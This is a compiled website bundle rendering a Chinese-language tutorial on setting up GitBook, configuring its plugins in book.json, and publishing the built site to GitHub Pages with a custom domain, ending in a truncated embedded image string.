n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"\u5b89\u88c5gitbook",children:"\u5b89\u88c5Gitbook"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:38:07"})]})})]}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u6ce8\u610f\uff1a\u7528\u7684\u547d\u4ee4\u884c\u5c3d\u91cf\u7528powershell \u6709\u4e9b\u547d\u4ee4cmd \u7528\u4e0d\u4e86"}),"\n",(0,l.jsx)(n.p,{children:"\u6bd4\u5982\uff1amv\u7b49\n1"}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u5b89\u88c5gitbook\u6240\u9700\u5de5\u5177",children:"\u5b89\u88c5Gitbook\u6240\u9700\u5de5\u5177"}),"\n",(0,l.jsx)(n.h3,{id:"\u5b89\u88c5gitbook-cli",children:"\u5b89\u88c5gitbook-cli"}),"\n",(0,l.jsx)(n.p,{children:"\u7528\u4e8egitbook \u547d\u4ee4\u884c\u7684\u5b89\u88c5"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"npm install gitbook-cli -g\ngitbook --version\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129215233580",src:i(85844).A+"",width:"546",height:"119"})}),"\n",(0,l.jsx)(n.h3,{id:"\u5b89\u88c5gitbook-summary",children:"\u5b89\u88c5gitbook summary"}),"\n",(0,l.jsx)(n.p,{children:"\u7528\u4e8e\u81ea\u52a8\u751f\u6210Summary.md\uff0c\u8be5\u6587\u4ef6\u4e3a\u76ee\u5f55\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"npm install -g gitbook-summary\nbook --version\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129220021247",src:i(35025).A+"",width:"492",height:"42"})}),"\n",(0,l.jsx)(n.h2,{id:"\u521b\u5efa\u9879\u76ee",children:"\u521b\u5efa\u9879\u76ee"}),"\n",(0,l.jsx)(n.h3,{id:"\u7f16\u5199bookjson",children:"\u7f16\u5199book.json"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:["\u7528\u6765\u5bfc\u5165\u63d2\u4ef6 \u6216\u6307\u5b9a\u5168\u5c40\u914d\u7f6e\uff0c\u81f3\u4e8e\u6bcf\u4e2a\u63d2\u4ef6\u7684\u7528\u6cd5\u53ef\u767e\u5ea6\u67e5\u8be2\u6216\u5728\u8fd9\u4e2a",(0,l.jsx)(n.a,{href:"https://www.cnblogs.com/mingyue5826/p/10307051.html#217-donate--%E6%89%93%E8%B5%8F%E6%8F%92%E4%BB%B6",children:"\u6587\u7ae0"}),"\u4e2d\u67e5\u770b\u3002"]}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-json",children:'{\n "title": "Wjlin0 Gitbook",\n "author":"Wjlin0",\n "description":"\u8bb0\u5f55\u5b66\u4e60\u7b14\u8bb0",\n "language":"zh-hans",\n "root":"./docs",\n "links" : {\n "sidebar" : {\n "\u535a\u5ba2\u5730\u5740" : "https://wjlin0.com"\n }\n },\n\n "plugins" : [\n "back-to-top-button",\n "expandable-chapters",\n "github-buttons",\n "copy-code-button",\n "page-footer-ex",\n "anchor-navigation-ex",\n "-lunr", \n "-search", \n "hide-element",\n "search-pro",\n "donate",\n "splitter",\n "github",\n "-sharing",\n "sharing-plus",\n "custom-favicon",\n "page-treeview",\n "flexible-alerts"\n ],\n "pluginsConfig": {\n "github": {\n "url": "https://github.com/wjlin0"\n },\n "page-treeview": {\n "copyright": "Copyright © wjlin0",\n "minHeaderCount": "2",\n "minHeaderDeep": "2"\n },\n "favicon": "./favicon.ico",\n "hide-element": {\n "elements": [".gitbook-link",".treeview__copyright",".treeview__main-title"\n ]\n },\n "github-buttons": {\n "buttons": [{\n "user": "wangzhebufangqi",\n "repo": "ActionTest",\n "type": "star",\n "size": "small"\n }]\n }, \n "page-footer-ex": {\n "copyright": "By [Wjlin0](https://wjlin0.com/)\uff0c\u4f7f\u7528[\u77e5\u8bc6\u5171\u4eab \u7f72\u540d-\u76f8\u540c\u65b9\u5f0f\u5171\u4eab 4.0\u534f\u8bae](https://creativecommons.org/licenses/by-sa/4.0/)\u53d1\u5e03",\n "markdown": true,\n "update_label": "\u66f4\u65b0\u65f6\u95f4\uff1a",\n "update_format": "YYYY-MM-DD HH:mm:ss"\n }, \n "donate": {\n "wechat": "",\n "alipay": "",\n "title": "",\n "button": "\u8d4f",\n "alipayText": "\u652f\u4ed8\u5b9d\u6350\u8d60",\n "wechatText": "\u5fae\u4fe1\u6350\u8d60"\n },\n "sharing": {\n "douban": false,\n "facebook": false,\n "google": true,\n "hatenaBookmark": false,\n "instapaper": false,\n "line": true,\n "linkedin": true,\n "messenger": false,\n "pocket": false,\n "qq": false,\n "qzone": true,\n "stumbleupon": false,\n "twitter": false,\n "viber": false,\n "vk": false,\n "weibo": true,\n "whatsapp": false,\n "all": [\n "douban", "facebook", "google", "hatenaBookmark", \n "instapaper", "linkedin","twitter", "weibo", \n "messenger","qq", "qzone","viber","vk","weibo",\n "pocket", "stumbleupon","whatsapp"\n ]\n }\n \n }\n }\n'})}),"\n",(0,l.jsx)(n.h3,{id:"\u521b\u5efa\u6839\u76ee\u5f55\u5bfc\u5165\u7b14\u8bb0",children:"\u521b\u5efa\u6839\u76ee\u5f55\uff0c\u5bfc\u5165\u7b14\u8bb0"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u5bfc\u5165\u81ea\u5df1\u7684\u7b14\u8bb0"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"mkdir docs\nnotepad.exe .\\docs\\README.md //\u56fe\u7247\u4e2d\u6253\u9519\u4e86\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129220950545",src:i(92167).A+"",width:"664",height:"514"})}),"\n",(0,l.jsx)(n.h3,{id:"\u751f\u6210summarymd\u6587\u4ef6",children:"\u751f\u6210SUMMARY.MD\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"cd docs\nbook sm\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129221123486",src:i(77334).A+"",width:"750",height:"155"})}),"\n",(0,l.jsx)(n.h3,{id:"\u6784\u5efa\u9879\u76ee\u9759\u6001\u6587\u4ef6",children:"\u6784\u5efa\u9879\u76ee\u9759\u6001\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"cd ../\ngitbook install\ngitbook build\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6784\u5efa\u5b8c\u6210\u4e4b\u540e\uff0c\u4f1a\u751f\u6210\u51e0\u4e2a\u76ee\u5f55\uff0c_book \u4e3a\u751f\u6210\u7684\u9759\u6001\u8d44\u6e90 node_modules \u4e3a node js\u7684 \u6a21\u5757\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129221603529",src:i(54849).A+"",width:"639",height:"207"})}),"\n",(0,l.jsx)(n.h3,{id:"\u6d4b\u8bd5\u672c\u5730\u73af\u5883",children:"\u6d4b\u8bd5\u672c\u5730\u73af\u5883"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"gitbook serve\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129223221641",src:i(38830).A+"",width:"907",height:"659"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129223249357",src:i(9532).A+"",width:"1903",height:"613"})}),"\n",(0,l.jsx)(n.h2,{id:"\u6784\u5efagithub-page",children:"\u6784\u5efagithub Page"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u514d\u8d39\u7684\u5b58\u653e\u9759\u6001\u8d44\u6e90\u6587\u4ef6\u7684\u3002"}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"\u6784\u5efagithub\u9879\u76ee",children:"\u6784\u5efagithub\u9879\u76ee"}),"\n",(0,l.jsxs)(n.p,{children:["\u6784\u5efa\u5982\u56fe\u6240\u793a\u4ed3\u5e93\uff0c\u4ed3\u5e93\u547d\u540d\u683c\u5f0f\u4e3a",(0,l.jsx)(n.code,{children:"xxx.github.io"})," \u8fd9\u4e2axxx\u4e3a\u4f60\u7684\u8d26\u6237\u540d\u79f0\u5c31\u662f\u9014\u4e2d\u5de6\u8fb9\u90a3\u4e2awjlin0(\u8981\u4f9d\u636e\u4f60\u7684\u540d\u5b57\u6765\u54c8)\uff0c\u6211\u8fd9\u91cc\u6784\u5efa\u8fc7\u4e86\u6240\u4ee5 \u7206\u7ea2\u4e86\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129224035267",src:i(3642).A+"",width:"1852",height:"890"})}),"\n",(0,l.jsx)(n.h3,{id:"\u4e0a\u4f20\u9759\u6001\u6587\u4ef6",children:"\u4e0a\u4f20\u9759\u6001\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:'cd .\\_book\\\ngit init\ngit add *\ngit commit -m "New commit"\ngit branch -M main\ngit remote add origin https://github.com/wjlin0/wjlin0.github.io.git\ngit branch --set-upstream-to=origin/main main\ngit push origin main\n'})}),"\n",(0,l.jsx)(n.h3,{id:"github-page-\u6784\u5efa",children:"github page \u6784\u5efa"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129233842493",src:i(75931).A+"",width:"1534",height:"812"})}),"\n",(0,l.jsx)(n.p,{children:"\u7b49\u5f85\u5b8c\u6210\u5373\u53ef"}),"\n",(0,l.jsx)(n.h3,{id:"\u914d\u7f6e\u81ea\u5b9a\u4e49\u57df",children:"\u914d\u7f6e\u81ea\u5b9a\u4e49\u57df"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u6ca1\u6709\u57df\u540d \u6216\u8005\u65e0\u9700\u914d\u7f6e\u81ea\u5b9a\u4e49\u57df\u540d\u53ef\u5ffd\u7565\u8fd9\u4e00\u6b65"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u9009\u62e9\u53f3\u4e0a\u89d2 settings"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129234000275",src:i(84628).A+"",width:"311",height:"640"})}),"\n",(0,l.jsx)(n.p,{children:"\u9009\u62e9Pages -> Add a domain"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129234013450",src:i(92540).A+"",width:"1415",height:"798"})}),"\n",(0,l.jsx)(n.p,{children:"\u9009\u62e9 Add domain"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129234122642",src:i(1099).A+"",width:"625",height:"413"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129234152977",src:i(63275).A+"",width:"954",height:"408"})}),"\n",(0,l.jsx)(n.p,{children:"\u5728\u81ea\u5df1\u7684DNS\u670d\u52a1\u5546\u505aDNS TXT \u89e3\u6790 \uff0c\u505a\u5b8c\u4e4b\u540e\u70b9\u51fb Verify\u3002\u56de\u5230\u4ed3\u5e93\u4f4d\u7f6e\uff0c\u9009\u62e9 Custom domain\uff0c\u8f93\u5165\u4f60\u521a\u521a\u81ea\u5b9a\u4e49\u7684\u57df\u540d\uff0c\u518d\u70b9\u51fb\u4fdd\u5b58\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129234338700",src:i(20895).A+"",width:"1312",height:"458"})}),"\n",(0,l.jsx)(n.h3,{id:"\u8bbf\u95ee",children:"\u8bbf\u95ee"}),"\n",(0,l.jsx)(n.p,{children:"\u4fdd\u5b58\u5b8c\u4e4b\u540e DNS check successful \u901a\u8fc7\u4e4b\u540e \uff0c\u8bbf\u95ee\u57df\u540d\u5373\u53ef"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"https://wjlin0.github.io",children:"https://wjlin0.github.io"})," \u6216\u8005 ",(0,l.jsx)(n.a,{href:"https://book.wjlin0.com",children:"https://book.wjlin0.com"})]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u66f4\u65b0\u6587\u4ef6",children:"\u66f4\u65b0\u6587\u4ef6"}),"\n",(0,l.jsx)(n.h3,{id:"\u5bfc\u51fa-git",children:"\u5bfc\u51fa git"}),"\n",(0,l.jsx)(n.p,{children:"\u66f4\u65b0\u4e4b\u524d\u5c06\u4e4b\u524d .git \u5bfc\u5165\u51fa\u6765"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"mv ./_book/.git ./\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u66f4\u65b0\u76ee\u5f55",children:"\u66f4\u65b0\u76ee\u5f55"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"cd docs && book sm && cd ../\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u6784\u5efa\u9759\u6001\u6587\u4ef6",children:"\u6784\u5efa\u9759\u6001\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"gitbook install # \u82e5\u4fee\u6539\u4e86book.json\uff0c\u5219\u9700\u8981\u91cd\u65b0\u4e0b\u8f7d\ngitbook build\nmv .git ./_book/\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u63d0\u4ea4\u66f4\u65b0\u540e\u7684\u4ee3\u7801",children:"\u63d0\u4ea4\u66f4\u65b0\u540e\u7684\u4ee3\u7801"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:'### powershell\u7684\u7528\u6cd5\ncd ./_book\ngit pull\ngit add .\n$A = Get-Date;git commit -m "$A";\ngit push\n'})}),"\n",(0,l.jsx)(n.p,{children:"\u6216\u8005 \u4f60\u53ef\u4ee5\u8fd9\u6837"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-cmd",children:'### cmd\u7684\u7528\u6cd5\ncd ./_book\ngit pull\ngit add .\ngit commit -m "%date:~0,4%-%date:~5,2%-%date:~8,2% %time:~0,2%: %time:~3,2%"\ngit push\n'})}),"\n",(0,l.jsx)(n.h3,{id:"\u66f4\u65b0\u811a\u672c",children:"\u66f4\u65b0\u811a\u672c"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.code,{children:"update.bat"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bat",children:'@echo on\nSET p=http://localhost:1082 && echo %p% && C:\\Users\\TZ\\.gitbook\\versions\\3.2.3\\node_modules\\.bin\\npm.cmd config set proxy "%p%" && npm config set https-proxy "%p%" && cd /d %~dp0 && attrib -h ./_book/.git && move ./_book/.git ./ && cd ./docs && book sm && cd ../ && python update.py && gitbook install && gitbook build && move .git ./_book/ && attrib +h ./_book/.git && cd ./_book && git config --global https.proxy "%p%" && git config --global https.proxy "%p%" && git pull && git add . && git commit -m "%date:~0,4%-%date:~5,2%-%date:~8,2% %time:~0,2%: %time:~3,2%" && git push && git config --global --unset http.proxy && git config --global --unset https.proxy && npm config delete proxy && npm config delete https-proxy\npause\n'})}),"\n",(0,l.jsx)(n.h2,{id:"\u5e38\u7528\u63d2\u4ef6\u4ecb\u7ecd",children:"\u5e38\u7528\u63d2\u4ef6\u4ecb\u7ecd"}),"\n",(0,l.jsx)(n.h3,{id:"\u5feb\u901f\u751f\u6210summary",children:"\u5feb\u901f\u751f\u6210summary"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.a,{href:"https://blog.csdn.net/weixin_34383618/article/details/91629912",children:"https://blog.csdn.net/weixin_34383618/article/details/91629912"})}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-shell",children:"npm install -g gitbook-summary\nbook sm\nbook sm -i node_modules,_book # \u5ffd\u7565 node_modules\u548c_book\u76ee\u5f55\n"})}),"\n",(0,l.jsx)(n.h3,{id:"flexible-alerts-\u9ad8\u7ea7\u683c\u5f0f\u663e\u793a\u7684\u63d0\u793a\u5757",children:"flexible-alerts \u9ad8\u7ea7\u683c\u5f0f\u663e\u793a\u7684\u63d0\u793a\u5757"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"> [!type|style:xx|label:xx|icon:xx|className:xx|labelVisibility:xx|iconVisibility:xx]\n> \u5185\u5bb9\u90e8\u5206\n"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u952e"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u5141\u8bb8\u7684\u503c"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bf4\u660e"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"!type"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"NOTE"}),"\uff0c",(0,l.jsx)(n.code,{children:"TIP"}),"\uff0c",(0,l.jsx)(n.code,{children:"WARNING"}),"\u548c",(0,l.jsx)(n.code,{children:"DANGER"})]}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u8b66\u544a\u7ea7\u522b\u8bbe\u7f6e"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"style"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4ee5\u4e0b\u503c\u4e4b\u4e00: callout\uff08\u9ed8\u8ba4\uff09, flat"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u8b66\u544a\u6837\u5f0f\uff0c\u89c1\u56fe19\u7684\u5de6\u53f3\u4e0d\u540c"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"label"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4efb\u4f55\u6587\u5b57"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u8b66\u544a\u5757\u7684\u6807\u9898\u4f4d\u7f6e\uff0c\u5373Note\u8fd9\u4e2a\u5b57\u6bb5\u4f4d\u7f6e\uff08\u4e0d\u652f\u6301\u4e2d\u6587\uff09"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"icon"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"e.g. 'fa fa-info-circle'"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4e00\u4e2a\u6709\u6548\u7684Font Awesome\u56fe\u6807\uff0c\u90a3\u5757\u5c0f\u7b26\u53f7"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"className"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"CSS\u7c7b\u7684\u540d\u79f0"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u6307\u5b9acss\u6587\u4ef6\uff0c\u7528\u4e8e\u6307\u5b9a\u5916\u89c2"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"labelVisibility"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4ee5\u4e0b\u503c\u4e4b\u4e00\uff1avisible\uff08\u9ed8\u8ba4\uff09\uff0chidden"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u6807\u7b7e\u662f\u5426\u53ef\u89c1"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"iconVisibility"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4ee5\u4e0b\u503c\u4e4b\u4e00\uff1avisible\uff08\u9ed8\u8ba4\uff09\uff0chidden"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u56fe\u6807\u662f\u5426\u53ef\u89c1"})]})]})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u5b9e\u4f8b\uff1a"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-markdown",children:'1. \u8fd9\u662f\u7b80\u5355\u7684\u7528\u6cd5\n> [!NOTE]\n> \u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684Note\u7c7b\u578b\u7684\u4f7f\u7528\uff0c\u6240\u6709\u7684\u5c5e\u6027\u90fd\u662f\u9ed8\u8ba4\u503c\u3002\n\n---\n2. \u8fd9\u662f\u81ea\u5b9a\u4e49\u5c5e\u6027\u7684\u7528\u6cd5\n> [!NOTE|style:flat|lable:Mylable|iconVisibility:hidden]\n> "!type":`NOTE`\u3001"style":`flat`\u3001"lable":`\u81ea\u5b9a\u4e49\u6807\u7b7e`\u3001\u56fe\u6807\u4e0d\u53ef\u89c1\n'})}),"\n",(0,l.jsx)(n.p,{children:"1\u3001Note"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!NOTE]\n\u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684Note\u7c7b\u578b\u7684\u4f7f\u7528\uff0c\u6240\u6709\u7684\u5c5e\u6027\u90fd\u662f\u9ed8\u8ba4\u503c\u3002"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"2\u3001\u8fd9\u662f\u81ea\u5b9a\u4e49\u5c5e\u6027\u7684\u7528\u6cd5"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:['[!NOTE|style:flat|lable:Mylable|iconVisibility:hidden]\n"!type":',(0,l.jsx)(n.code,{children:"NOTE"}),'\u3001"style":',(0,l.jsx)(n.code,{children:"flat"}),'\u3001"lable":',(0,l.jsx)(n.code,{children:"\u81ea\u5b9a\u4e49\u6807\u7b7e"}),"\u3001\u56fe\u6807\u4e0d\u53ef\u89c1"]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"3\u3001TIP"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!TIP]"}),"\n",(0,l.jsx)(n.p,{children:"TIPS"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"3\u3001WARNING"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!Warning]"}),"\n",(0,l.jsx)(n.p,{children:"WARNING"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"4\u3001DANGER"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!DANGER]"}),"\n",(0,l.jsx)(n.p,{children:"DANGER"}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"\u66f4\u591a\u67e5\u770b",children:"\u66f4\u591a\u67e5\u770b"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/04.%E6%9A%82%E6%9C%AA%E5%88%86%E7%B1%BB/02.GIT/1.gitbook.html",children:"gitbook \xb7 d4m1ts \u77e5\u8bc6\u5e93"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://www.cnblogs.com/mingyue5826/p/10307051.html#217-donate--%E6%89%93%E8%B5%8F%E6%8F%92%E4%BB%B6",children:"GitBook\u63d2\u4ef6\u6574\u7406 - book.json\u914d\u7f6e - \u660e\u6708, - \u535a\u5ba2\u56ed"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(a,{...e})}):a(e)}},28453:(e,n,i)=>{i.d(n,{R:()=>d,x:()=>o});var t=i(96540);const l={},s=t.createContext(l);function d(e){const n=t.useContext(s);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:d(e.components),t.createElement(s.Provider,{value:n},e.children)}},35025:(e,n,i)=>{i.d(n,{A:()=>t});const t="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAewAAAAqCAYAAABx7Gh9AAARyUlEQVR4nO3df2wTZ5oH8O+eGkKdQgjJoDoGN47Ty7QRdZt6N3ZLYyyQYqe0plWCTqDFSvijKImALbeKeysu4ui1Rie6QoKSSru46V1Xupil5K6XmBM0CaBLuAukhkY7EQmmJnFQJik4FBdKpbs/cjN4HDueyU+SPh8pEp4Zv/O+75h55v0xM7946qmn/heEEEIIeaz91XxngBBCCCHJUcAmhBBCFoBFFbBtNhvq6+thNpvnOyuL2mKt59kqV01NDWw224ymSchseO2111BQUDDf2SAJLKqA7fP5kJmZCYfDMd9ZWdDq6+tRX1+fcP181DPLsrMe9GajXGazGWVlZdi1a1fc9cnKlexYzKS53Ne5M/tw7sy+RbevhUyv12Pt2rV45ZVX5jsrJIEnJltZX18PlmXFzzzPo7+/H4cOHQLP8wAAhmFQVVWFoqIiqFQqRCIRXLlyRbKNHLH7irZ+/XrZ6XR1dcFut4NlWXAcF3ebtrY2tLS04ODBg5L9A8DOnTtl72uuTJa3trY2tLa2Yv/+/XOaJzn1PJMcDgfsdjt8Pt+s7memy9XR0QG/349r167FXT9X5SIkmf7+fty6dUvReZvMrUkDNjAepLu6ugAA2dnZMJlMOHDggBg8KisrYbVaceLECfT19cFgMMBisWDTpk3weDyKMhO9r6k6fvw4LBYLHA7HnASSuaJSqRKuu3///hzmZNxirefZKNfu3btnJJ3HQW1tLZqamhbVMSePnDx5cr6zQCaRNGCPjo5KWqJ1dXWwWq1iC0Sn04HjOBw5cgTAeLdi9PZKxO4rkZqaGpSVlcHtdk9omfA8jytXrsBiseD48ePTulqsra2FxWKBSqUCz/NobGyE1+sFMD7e6XK50NraCqvVCr/fj++++w5Wq3VCizc2nebmZkUXM4FAAHa7HcB4F2txcTGampqQkZEBALh+/bqiPAOA3+/H119/jfLycqhUqqSt9M8++wyRSES8UJNTz0LPwNDQEKxWKwDE3c9kea6trRXLDoz3KAhie0mS1TPDMKisrITRaATDMOLyhoYGcTs55WJZFnv27AHLsohEIvB6vSgvL0d7e7uYn9h8cxwn6SFRUi7g0f+7RD1Yk9Whkm1ixR53i8UCu90OjuNw8eJFxRflsf7leBXsJQbcizzApcsB1PymAYOh78T1nxzZAXuJAWmqVAwPh1H/h69w+Kj0/7ycbWJd+q/3cS/yAMUbD0wr/0rp9XqUlJTg8uXL6OzsFJdv2rQJWq0Wn3/+OcLhMABgw4YNyM3NRUpKCiKRCDiOE79TUFAAi8UCALh16xZCoRDWrl2LlJQU9Pf34/Tp0wCA9PR0GI1GrFmzRnLRH73/DRs2ID8/X1w3MjKCxsbGCXmPzY/f70d3d7e4fsuWLQCAcDgMvV4PAJK8kOlTPIZ98eJFAEBOTg4A4M6dO3Myvhht9erVAAC1Wh13/aeffgqVSoVNmzZNeR8VFRWw2+0IBoNoaWkBAFRXV08o58qVK9HS0gKDwYBgMAiO48TgBDw6Mbe3t8PtdqOrqwtOpxPl5eVTyldxcTHsdjtycnKQnp4OALh7966sPF+6dAlutxvBYBCpqakoKiqCx+MRLzoSHUOGYaDVajE0NCRZLqeeMzMzoVar0dLSItZNRUWFuD5ZnpuamuB2u8WTi9vtFv+amprEdOTUc2VlJex2O0KhEFpaWsS/jo4OReXas2cPtFqtGOiF4aBoQr7dbnfcNOSWS6jDlStXwu12o7m5GSaTCXv37pVdh3K3iRXvuJeWlqKhoQEPHjyA0+lEc3Mz6urqEg5nTYbJXAaGWY7f/Paf0fjniyhex+LI753i+rrfvY2yt36FG9/yOPHFfwMA/v7v3sL2resUbRNLk70SOc